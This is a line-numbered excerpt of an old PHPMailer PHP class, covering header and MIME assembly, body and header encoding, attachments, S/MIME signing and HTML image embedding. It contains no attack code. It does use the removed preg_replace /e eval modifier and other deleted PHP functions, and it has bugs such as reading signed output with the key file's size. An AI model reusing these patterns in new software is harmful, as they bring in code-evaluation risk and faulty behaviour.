2235 */
2236 function UTF8CharBoundary($encodedText, $maxLength) {
2237 $foundSplitPos = false;
2238 $lookBack = 3;
2239 while (!$foundSplitPos) {
2240 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2241 $encodedCharPos = strpos($lastChunk, "=");
2242 if ($encodedCharPos !== false) {
2243 // Found start of encoded character byte within $lookBack block.
2244 // Check the encoded byte value (the 2 chars after the '=')
2245 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2246 $dec = hexdec($hex);
2247 if ($dec < 128) { // Single byte character.
2248 // If the encoded char was found at pos 0, it will fit
2249 // otherwise reduce maxLength to start of the encoded char
2250 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2251 $maxLength - ($lookBack - $encodedCharPos);
2252 $foundSplitPos = true;
2253 } elseif ($dec >= 192) { // First byte of a multi byte character
2254 // Reduce maxLength to split at start of character
2255 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2256 $foundSplitPos = true;
2257 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2258 $lookBack += 3;
2259 }
2260 } else {
2261 // No encoded character found
2262 $foundSplitPos = true;
2263 }
2264 }
2265 return $maxLength;
2266 }
2267
2268 /**
2269 * Set the body wrapping.
2270 * @access private
2271 * @return void
2272 */
2273 function SetWordWrap() {
2274 if($this->WordWrap < 1) {
2275 return;
2276 }
2277
2278 switch($this->message_type) {
2279 case 'alt':
2280 /* fall through */
2281 case 'alt_attachments':
2282 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2283 break;
2284 default:
2285 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2286 break;
2287 }
2288 }
2289
2290 /**
2291 * Assembles message header.
2292 * @access private
2293 * @return string
2294 */
2295 function CreateHeader() {
2296 $result = '';
2297
2298 /* Set the boundaries */
2299 $uniq_id = md5(uniqid(time()));
2300 $this->boundary[1] = 'b1_' . $uniq_id;
2301 $this->boundary[2] = 'b2_' . $uniq_id;
2302
2303 $result .= $this->HeaderLine('Date', $this->RFCDate());
2304 if($this->Sender == '') {
2305 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2306 } else {
2307 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2308 }
2309
2310 /* To be created automatically by mail() */
2311 if($this->Mailer != 'mail') {
2312 if(count($this->to) > 0) {
2313 $result .= $this->AddrAppend('To', $this->to);
2314 } elseif (count($this->cc) == 0) {
2315 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2316 }
2317 if(count($this->cc) > 0) {
2318 $result .= $this->AddrAppend('Cc', $this->cc);
2319 }
2320 }
2321
2322 $from = array();
2323 $from[0][0] = trim($this->From);
2324 $from[0][1] = $this->FromName;
2325 $result .= $this->AddrAppend('From', $from);
2326
2327 /* sendmail and mail() extract Cc from the header before sending */
2328 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2329 $result .= $this->AddrAppend('Cc', $this->cc);
2330 }
2331
2332 /* sendmail and mail() extract Bcc from the header before sending */
2333 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2334 $result .= $this->AddrAppend('Bcc', $this->bcc);
2335 }
2336
2337 if(count($this->ReplyTo) > 0) {
2338 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2339 }
2340
2341 /* mail() sets the subject itself */
2342 if($this->Mailer != 'mail') {
2343 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2344 }
2345
2346 if($this->MessageID != '') {
2347 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2348 } else {
2349 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2350 }
2351 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2352 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2353
2354 if($this->ConfirmReadingTo != '') {
2355 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2356 }
2357
2358 // Add custom headers
2359 for($index = 0; $index < count($this->CustomHeader); $index++) {
2360 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2361 }
2362 if (!$this->sign_key_file) {
2363 $result .= $this->HeaderLine('MIME-Version', '1.0');
2364 $result .= $this->GetMailMIME();
2365 }
2366
2367 return $result;
2368 }
2369
2370 /**
2371 * Returns the message MIME.
2372 * @access private
2373 * @return string
2374 */
2375 function GetMailMIME() {
2376 $result = '';
2377 switch($this->message_type) {
2378 case 'plain':
2379 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2380 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2381 break;
2382 case 'attachments':
2383 /* fall through */
2384 case 'alt_attachments':
2385 if($this->InlineImageExists()){
2386 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2387 } else {
2388 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2389 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2390 }
2391 break;
2392 case 'alt':
2393 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2394 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2395 break;
2396 }
2397
2398 if($this->Mailer != 'mail') {
2399 $result .= $this->LE.$this->LE;
2400 }
2401
2402 return $result;
2403 }
2404
2405 /**
2406 * Assembles the message body. Returns an empty string on failure.
2407 * @access private
2408 * @return string
2409 */
2410 function CreateBody() {
2411 $result = '';
2412 if ($this->sign_key_file) {
2413 $result .= $this->GetMailMIME();
2414 }
2415
2416 $this->SetWordWrap();
2417
2418 switch($this->message_type) {
2419 case 'alt':
2420 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2421 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2422 $result .= $this->LE.$this->LE;
2423 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2424 $result .= $this->EncodeString($this->Body, $this->Encoding);
2425 $result .= $this->LE.$this->LE;
2426 $result .= $this->EndBoundary($this->boundary[1]);
2427 break;
2428 case 'plain':
2429 $result .= $this->EncodeString($this->Body, $this->Encoding);
2430 break;
2431 case 'attachments':
2432 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2433 $result .= $this->EncodeString($this->Body, $this->Encoding);
2434 $result .= $this->LE;
2435 $result .= $this->AttachAll();
2436 break;
2437 case 'alt_attachments':
2438 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2439 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2440 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2441 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2442 $result .= $this->LE.$this->LE;
2443 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2444 $result .= $this->EncodeString($this->Body, $this->Encoding);
2445 $result .= $this->LE.$this->LE;
2446 $result .= $this->EndBoundary($this->boundary[2]);
2447 $result .= $this->AttachAll();
2448 break;
2449 }
2450
2451 if($this->IsError()) {
2452 $result = '';
2453 } else if ($this->sign_key_file) {
2454 $file = tempnam("", "mail");
2455 $fp = fopen($file, "w");
2456 fwrite($fp, $result);
2457 fclose($fp);
2458 $signed = tempnam("", "signed");
2459
2460 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2461 $fp = fopen($signed, "r");
2462 $result = fread($fp, filesize($this->sign_key_file));
2463 fclose($fp);
2464 } else {
2465 $this->SetError($this->Lang("signing").openssl_error_string());
2466 $result = '';
2467 }
2468
2469 unlink($file);
2470 unlink($signed);
2471 }
2472
2473 return $result;
2474 }
2475
2476 /**
2477 * Returns the start of a message boundary.
2478 * @access private
2479 */
2480 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2481 $result = '';
2482 if($charSet == '') {
2483 $charSet = $this->CharSet;
2484 }
2485 if($contentType == '') {
2486 $contentType = $this->ContentType;
2487 }
2488 if($encoding == '') {
2489 $encoding = $this->Encoding;
2490 }
2491 $result .= $this->TextLine('--' . $boundary);
2492 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2493 $result .= $this->LE;
2494 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2495 $result .= $this->LE;
2496
2497 return $result;
2498 }
2499
2500 /**
2501 * Returns the end of a message boundary.
2502 * @access private
2503 */
2504 function EndBoundary($boundary) {
2505 return $this->LE . '--' . $boundary . '--' . $this->LE;
2506 }
2507
2508 /**
2509 * Sets the message type.
2510 * @access private
2511 * @return void
2512 */
2513 function SetMessageType() {
2514 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2515 $this->message_type = 'plain';
2516 } else {
2517 if(count($this->attachment) > 0) {
2518 $this->message_type = 'attachments';
2519 }
2520 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2521 $this->message_type = 'alt';
2522 }
2523 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2524 $this->message_type = 'alt_attachments';
2525 }
2526 }
2527 }
2528
2529 /* Returns a formatted header line.
2530 * @access private
2531 * @return string
2532 */
2533 function HeaderLine($name, $value) {
2534 return $name . ': ' . $value . $this->LE;
2535 }
2536
2537 /**
2538 * Returns a formatted mail line.
2539 * @access private
2540 * @return string
2541 */
2542 function TextLine($value) {
2543 return $value . $this->LE;
2544 }
2545
2546 /////////////////////////////////////////////////
2547 // CLASS METHODS, ATTACHMENTS
2548 /////////////////////////////////////////////////
2549
2550 /**
2551 * Adds an attachment from a path on the filesystem.
2552 * Returns false if the file could not be found
2553 * or accessed.
2554 * @param string $path Path to the attachment.
2555 * @param string $name Overrides the attachment name.
2556 * @param string $encoding File encoding (see $Encoding).
2557 * @param string $type File extension (MIME) type.
2558 * @return bool
2559 */
2560 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2561 if(!@is_file($path)) {
2562 $this->SetError($this->Lang('file_access') . $path);
2563 return false;
2564 }
2565
2566 $filename = basename($path);
2567 if($name == '') {
2568 $name = $filename;
2569 }
2570
2571 $cur = count($this->attachment);
2572 $this->attachment[$cur][0] = $path;
2573 $this->attachment[$cur][1] = $filename;
2574 $this->attachment[$cur][2] = $name;
2575 $this->attachment[$cur][3] = $encoding;
2576 $this->attachment[$cur][4] = $type;
2577 $this->attachment[$cur][5] = false; // isStringAttachment
2578 $this->attachment[$cur][6] = 'attachment';
2579 $this->attachment[$cur][7] = 0;
2580
2581 return true;
2582 }
2583
2584 /**
2585 * Attaches all fs, string, and binary attachments to the message.
2586 * Returns an empty string on failure.
2587 * @access private
2588 * @return string
2589 */
2590 function AttachAll() {
2591 /* Return text of body */
2592 $mime = array();
2593
2594 /* Add all attachments */
2595 for($i = 0; $i < count($this->attachment); $i++) {
2596 /* Check for string attachment */
2597 $bString = $this->attachment[$i][5];
2598 if ($bString) {
2599 $string = $this->attachment[$i][0];
2600 } else {
2601 $path = $this->attachment[$i][0];
2602 }
2603
2604 $filename = $this->attachment[$i][1];
2605 $name = $this->attachment[$i][2];
2606 $encoding = $this->attachment[$i][3];
2607 $type = $this->attachment[$i][4];
2608 $disposition = $this->attachment[$i][6];
2609 $cid = $this->attachment[$i][7];
2610
2611 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2612 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2613 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2614
2615 if($disposition == 'inline') {
2616 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2617 }
2618
2619 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2620
2621 /* Encode as string attachment */
2622 if($bString) {
2623 $mime[] = $this->EncodeString($string, $encoding);
2624 if($this->IsError()) {
2625 return '';
2626 }
2627 $mime[] = $this->LE.$this->LE;
2628 } else {
2629 $mime[] = $this->EncodeFile($path, $encoding);
2630 if($this->IsError()) {
2631 return '';
2632 }
2633 $mime[] = $this->LE.$this->LE;
2634 }
2635 }
2636
2637 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2638
2639 return join('', $mime);
2640 }
2641
2642 /**
2643 * Encodes attachment in requested format. Returns an
2644 * empty string on failure.
2645 * @access private
2646 * @return string
2647 */
2648 function EncodeFile ($path, $encoding = 'base64') {
2649 if(!@$fd = fopen($path, 'rb')) {
2650 $this->SetError($this->Lang('file_open') . $path);
2651 return '';
2652 }
2653 $magic_quotes = get_magic_quotes_runtime();
2654 set_magic_quotes_runtime(0);
2655 $file_buffer = fread($fd, filesize($path));
2656 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2657 fclose($fd);
2658 set_magic_quotes_runtime($magic_quotes);
2659
2660 return $file_buffer;
2661 }
2662
2663 /**
2664 * Encodes string to requested format. Returns an
2665 * empty string on failure.
2666 * @access private
2667 * @return string
2668 */
2669 function EncodeString ($str, $encoding = 'base64') {
2670 $encoded = '';
2671 switch(strtolower($encoding)) {
2672 case 'base64':
2673 /* chunk_split is found in PHP >= 3.0.6 */
2674 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2675 break;
2676 case '7bit':
2677 case '8bit':
2678 $encoded = $this->FixEOL($str);
2679 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2680 $encoded .= $this->LE;
2681 break;
2682 case 'binary':
2683 $encoded = $str;
2684 break;
2685 case 'quoted-printable':
2686 $encoded = $this->EncodeQP($str);
2687 break;
2688 default:
2689 $this->SetError($this->Lang('encoding') . $encoding);
2690 break;
2691 }
2692 return $encoded;
2693 }
2694
2695 /**
2696 * Encode a header string to best of Q, B, quoted or none.
2697 * @access private
2698 * @return string
2699 */
2700 function EncodeHeader ($str, $position = 'text') {
2701 $x = 0;
2702
2703 switch (strtolower($position)) {
2704 case 'phrase':
2705 if (!preg_match('/[\200-\377]/', $str)) {
2706 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2707 $encoded = addcslashes($str, "\0..\37\177\\\"");
2708 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2709 return ($encoded);
2710 } else {
2711 return ("\"$encoded\"");
2712 }
2713 }
2714 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2715 break;
2716 case 'comment':
2717 $x = preg_match_all('/[()"]/', $str, $matches);
2718 /* Fall-through */
2719 case 'text':
2720 default:
2721 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2722 break;
2723 }
2724
2725 if ($x == 0) {
2726 return ($str);
2727 }
2728
2729 $maxlen = 75 - 7 - strlen($this->CharSet);
2730 /* Try to select the encoding which should produce the shortest output */
2731 if (strlen($str)/3 < $x) {
2732 $encoding = 'B';
2733 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2734 // Use a custom function which correctly encodes and wraps long
2735 // multibyte strings without breaking lines within a character
2736 $encoded = $this->Base64EncodeWrapMB($str);
2737 } else {
2738 $encoded = base64_encode($str);
2739 $maxlen -= $maxlen % 4;
2740 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2741 }
2742 } else {
2743 $encoding = 'Q';
2744 $encoded = $this->EncodeQ($str, $position);
2745 $encoded = $this->WrapText($encoded, $maxlen, true);
2746 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2747 }
2748
2749 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2750 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2751
2752 return $encoded;
2753 }
2754
2755 /**
2756 * Checks if a string contains multibyte characters.
2757 * @access private
2758 * @param string $str multi-byte text to wrap encode
2759 * @return bool
2760 */
2761 function HasMultiBytes($str) {
2762 if (function_exists('mb_strlen')) {
2763 return (strlen($str) > mb_strlen($str, $this->CharSet));
2764 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2765 return False;
2766 }
2767 }
2768
2769 /**
2770 * Correctly encodes and wraps long multibyte strings for mail headers
2771 * without breaking lines within a character.
2772 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2773 * @access private
2774 * @param string $str multi-byte text to wrap encode
2775 * @return string
2776 */
2777 function Base64EncodeWrapMB($str) {
2778 $start = "=?".$this->CharSet."?B?";
2779 $end = "?=";
2780 $encoded = "";
2781
2782 $mb_length = mb_strlen($str, $this->CharSet);
2783 // Each line must have length <= 75, including $start and $end
2784 $length = 75 - strlen($start) - strlen($end);
2785 // Average multi-byte ratio
2786 $ratio = $mb_length / strlen($str);
2787 // Base64 has a 4:3 ratio
2788 $offset = $avgLength = floor($length * $ratio * .75);
2789
2790 for ($i = 0; $i < $mb_length; $i += $offset) {
2791 $lookBack = 0;
2792
2793 do {
2794 $offset = $avgLength - $lookBack;
2795 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2796 $chunk = base64_encode($chunk);
2797 $lookBack++;
2798 }
2799 while (strlen($chunk) > $length);
2800
2801 $encoded .= $chunk . $this->LE;
2802 }
2803
2804 // Chomp the last linefeed
2805 $encoded = substr($encoded, 0, -strlen($this->LE));
2806 return $encoded;
2807 }
2808
2809 /**
2810 * Encode string to quoted-printable.
2811 * @access private
2812 * @return string
2813 */
2814 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2815 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2816 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2817 $eol = "\r\n";
2818 $escape = '=';
2819 $output = '';
2820 while( list(, $line) = each($lines) ) {
2821 $linlen = strlen($line);
2822 $newline = '';
2823 for($i = 0; $i < $linlen; $i++) {
2824 $c = substr( $line, $i, 1 );
2825 $dec = ord( $c );
2826 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2827 $c = '=2E';
2828 }
2829 if ( $dec == 32 ) {
2830 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2831 $c = '=20';
2832 } else if ( $space_conv ) {
2833 $c = '=20';
2834 }
2835 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2836 $h2 = floor($dec/16);
2837 $h1 = floor($dec%16);
2838 $c = $escape.$hex[$h2].$hex[$h1];
2839 }
2840 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2841 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2842 $newline = '';
2843 // check if newline first character will be point or not
2844 if ( $dec == 46 ) {
2845 $c = '=2E';
2846 }
2847 }
2848 $newline .= $c;
2849 } // end of for
2850 $output .= $newline.$eol;
2851 } // end of while
2852 return trim($output);
2853 }
2854
2855 /**
2856 * Encode string to q encoding.
2857 * @access private
2858 * @return string
2859 */
2860 function EncodeQ ($str, $position = 'text') {
2861 /* There should not be any EOL in the string */
2862 $encoded = preg_replace("[\r\n]", '', $str);
2863
2864 switch (strtolower($position)) {
2865 case 'phrase':
2866 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2867 break;
2868 case 'comment':
2869 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2870 case 'text':
2871 default:
2872 /* Replace every high ascii, control =, ? and _ characters */
2873 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2874 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2875 break;
2876 }
2877
2878 /* Replace every spaces to _ (more readable than =20) */
2879 $encoded = str_replace(' ', '_', $encoded);
2880
2881 return $encoded;
2882 }
2883
2884 /**
2885 * Adds a string or binary attachment (non-filesystem) to the list.
2886 * This method can be used to attach ascii or binary data,
2887 * such as a BLOB record from a database.
2888 * @param string $string String attachment data.
2889 * @param string $filename Name of the attachment.
2890 * @param string $encoding File encoding (see $Encoding).
2891 * @param string $type File extension (MIME) type.
2892 * @return void
2893 */
2894 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2895 /* Append to $attachment array */
2896 $cur = count($this->attachment);
2897 $this->attachment[$cur][0] = $string;
2898 $this->attachment[$cur][1] = $filename;
2899 $this->attachment[$cur][2] = $filename;
2900 $this->attachment[$cur][3] = $encoding;
2901 $this->attachment[$cur][4] = $type;
2902 $this->attachment[$cur][5] = true; // isString
2903 $this->attachment[$cur][6] = 'attachment';
2904 $this->attachment[$cur][7] = 0;
2905 }
2906
2907 /**
2908 * Adds an embedded attachment. This can include images, sounds, and
2909 * just about any other document. Make sure to set the $type to an
2910 * image type. For JPEG images use "image/jpeg" and for GIF images
2911 * use "image/gif".
2912 * @param string $path Path to the attachment.
2913 * @param string $cid Content ID of the attachment. Use this to identify
2914 * the Id for accessing the image in an HTML form.
2915 * @param string $name Overrides the attachment name.
2916 * @param string $encoding File encoding (see $Encoding).
2917 * @param string $type File extension (MIME) type.
2918 * @return bool
2919 */
2920 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2921
2922 if(!@is_file($path)) {
2923 $this->SetError($this->Lang('file_access') . $path);
2924 return false;
2925 }
2926
2927 $filename = basename($path);
2928 if($name == '') {
2929 $name = $filename;
2930 }
2931
2932 /* Append to $attachment array */
2933 $cur = count($this->attachment);
2934 $this->attachment[$cur][0] = $path;
2935 $this->attachment[$cur][1] = $filename;
2936 $this->attachment[$cur][2] = $name;
2937 $this->attachment[$cur][3] = $encoding;
2938 $this->attachment[$cur][4] = $type;
2939 $this->attachment[$cur][5] = false;
2940 $this->attachment[$cur][6] = 'inline';
2941 $this->attachment[$cur][7] = $cid;
2942
2943 return true;
2944 }
2945
2946 /**
2947 * Returns true if an inline attachment is present.
2948 * @access private
2949 * @return bool
2950 */
2951 function InlineImageExists() {
2952 $result = false;
2953 for($i = 0; $i < count($this->attachment); $i++) {
2954 if($this->attachment[$i][6] == 'inline') {
2955 $result = true;
2956 break;
2957 }
2958 }
2959
2960 return $result;
2961 }
2962
2963 /////////////////////////////////////////////////
2964 // CLASS METHODS, MESSAGE RESET
2965 /////////////////////////////////////////////////
2966
2967 /**
2968 * Clears all recipients assigned in the TO array. Returns void.
2969 * @return void
2970 */
2971 function ClearAddresses() {
2972 $this->to = array();
2973 }
2974
2975 /**
2976 * Clears all recipients assigned in the CC array. Returns void.
2977 * @return void
2978 */
2979 function ClearCCs() {
2980 $this->cc = array();
2981 }
2982
2983 /**
2984 * Clears all recipients assigned in the BCC array. Returns void.
2985 * @return void
2986 */
2987 function ClearBCCs() {
2988 $this->bcc = array();
2989 }
2990
2991 /**
2992 * Clears all recipients assigned in the ReplyTo array. Returns void.
2993 * @return void
2994 */
2995 function ClearReplyTos() {
2996 $this->ReplyTo = array();
2997 }
2998
2999 /**
3000 * Clears all recipients assigned in the TO, CC and BCC
3001 * array. Returns void.
3002 * @return void
3003 */
3004 function ClearAllRecipients() {
3005 $this->to = array();
3006 $this->cc = array();
3007 $this->bcc = array();
3008 }
3009
3010 /**
3011 * Clears all previously set filesystem, string, and binary
3012 * attachments. Returns void.
3013 * @return void
3014 */
3015 function ClearAttachments() {
3016 $this->attachment = array();
3017 }
3018
3019 /**
3020 * Clears all custom headers. Returns void.
3021 * @return void
3022 */
3023 function ClearCustomHeaders() {
3024 $this->CustomHeader = array();
3025 }
3026
3027 /////////////////////////////////////////////////
3028 // CLASS METHODS, MISCELLANEOUS
3029 /////////////////////////////////////////////////
3030
3031 /**
3032 * Adds the error message to the error container.
3033 * Returns void.
3034 * @access private
3035 * @return void
3036 */
3037 function SetError($msg) {
3038 $this->error_count++;
3039 $this->ErrorInfo = $msg;
3040 }
3041
3042 /**
3043 * Returns the proper RFC 822 formatted date.
3044 * @access private
3045 * @return string
3046 */
3047 function RFCDate() {
3048 $tz = date('Z');
3049 $tzs = ($tz < 0) ? '-' : '+';
3050 $tz = abs($tz);
3051 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3052 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3053
3054 return $result;
3055 }
3056
3057 /**
3058 * Returns the appropriate server variable. Should work with both
3059 * PHP 4.1.0+ as well as older versions. Returns an empty string
3060 * if nothing is found.
3061 * @access private
3062 * @return mixed
3063 */
3064 function ServerVar($varName) {
3065 global $HTTP_SERVER_VARS;
3066 global $HTTP_ENV_VARS;
3067
3068 if(!isset($_SERVER)) {
3069 $_SERVER = $HTTP_SERVER_VARS;
3070 if(!isset($_SERVER['REMOTE_ADDR'])) {
3071 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3072 }
3073 }
3074
3075 if(isset($_SERVER[$varName])) {
3076 return $_SERVER[$varName];
3077 } else {
3078 return '';
3079 }
3080 }
3081
3082 /**
3083 * Returns the server hostname or 'localhost.localdomain' if unknown.
3084 * @access private
3085 * @return string
3086 */
3087 function ServerHostname() {
3088 if ($this->Hostname != '') {
3089 $result = $this->Hostname;
3090 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3091 $result = $this->ServerVar('SERVER_NAME');
3092 } else {
3093 $result = 'localhost.localdomain';
3094 }
3095
3096 return $result;
3097 }
3098
3099 /**
3100 * Returns a message in the appropriate language.
3101 * @access private
3102 * @return string
3103 */
3104 function Lang($key) {
3105 if(count($this->language) < 1) {
3106 $this->SetLanguage('en'); // set the default language
3107 }
3108
3109 if(isset($this->language[$key])) {
3110 return $this->language[$key];
3111 } else {
3112 return 'Language string failed to load: ' . $key;
3113 }
3114 }
3115
3116 /**
3117 * Returns true if an error occurred.
3118 * @return bool
3119 */
3120 function IsError() {
3121 return ($this->error_count > 0);
3122 }
3123
3124 /**
3125 * Changes every end of line from CR or LF to CRLF.
3126 * @access private
3127 * @return string
3128 */
3129 function FixEOL($str) {
3130 $str = str_replace("\r\n", "\n", $str);
3131 $str = str_replace("\r", "\n", $str);
3132 $str = str_replace("\n", $this->LE, $str);
3133 return $str;
3134 }
3135
3136 /**
3137 * Adds a custom header.
3138 * @return void
3139 */
3140 function AddCustomHeader($custom_header) {
3141 $this->CustomHeader[] = explode(':', $custom_header, 2);
3142 }
3143
3144 /**
3145 * Evaluates the message and returns modifications for inline images and backgrounds
3146 * @access public
3147 * @return $message
3148 */
3149 function MsgHTML($message,$basedir='') {
3150 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3151 if(isset($images[2])) {
3152 foreach($images[2] as $i => $url) {
3153 // do not change urls for absolute images (thanks to corvuscorax)
3154 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3155 $filename = basename($url);
3156 $directory = dirname($url);
3157 ($directory == '.')?$directory='':'';
3158 $cid = 'cid:' . md5($filename);
3159 $fileParts = split("\.", $filename);
3160 $ext = $fileParts[1];
3161 $mimeType = $this->_mime_types($ext);
3162 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3163 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3164 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3165 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3166 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3167 }
3168 }
3169 }
3170 }
3171 $this->IsHTML(true);
3172 $this->Body = $message;
3173 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3174 if ( !empty($textMsg) && empty($this->AltBody) ) {
3175 $this->AltBody = $textMsg;
3176 }
3177 if ( empty($this->AltBody) ) {
3178 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3179 }
3180 }
3181
3182 /**
3183 * Gets the mime type of the embedded or inline image
3184 * @access private
3185 * @return mime type of ext
3186 */
3187 function _mime_types($ext = '') {
3188 $mimes = array(
3189 'hqx' => 'application/mac-binhex40',
3190 'cpt' => 'application/mac-compactpro',
3191 'doc' => 'application/msword',
3192 'bin' => 'application/macbinary',
3193 'dms' => 'application/octet-stream',
3194 'lha' => 'application/octet-stream',
3195 'lzh' => 'application/octet-stream',
3196 'exe' => 'application/octet-stream',
3197 'class' => 'application/octet-stream',
3198 'psd' => 'application/octet-stream',
3199 'so' => 'application/octet-stream',
3200 'sea' => 'application/octet-stream',
3201 'dll' => 'application/octet-stream',
3202 'oda' => 'application/oda',
3203 'pdf' => 'application/pdf',
3204 'ai' => 'application/postscript',
3205 'eps' => 'application/postscript',
3206 'ps' => 'application/postscript',
3207 'smi' => 'application/smil',
3208 'smil' => 'application/smil',
3209 'mif' => 'application/vnd.mif',
3210 'xls' => 'application/vnd.ms-excel',
3211 'ppt' => 'application/vnd.ms-powerpoint',
3212 'wbxml' => 'application/vnd.wap.wbxml',
3213 'wmlc' => 'application/vnd.wap.wmlc',
3214 'dcr' => 'application/x-director',
3215 'dir' => 'application/x-director',
3216 'dxr' => 'application/x-director',
3217 'dvi' => 'application/x-dvi',
3218 'gtar' => 'application/x-gtar',
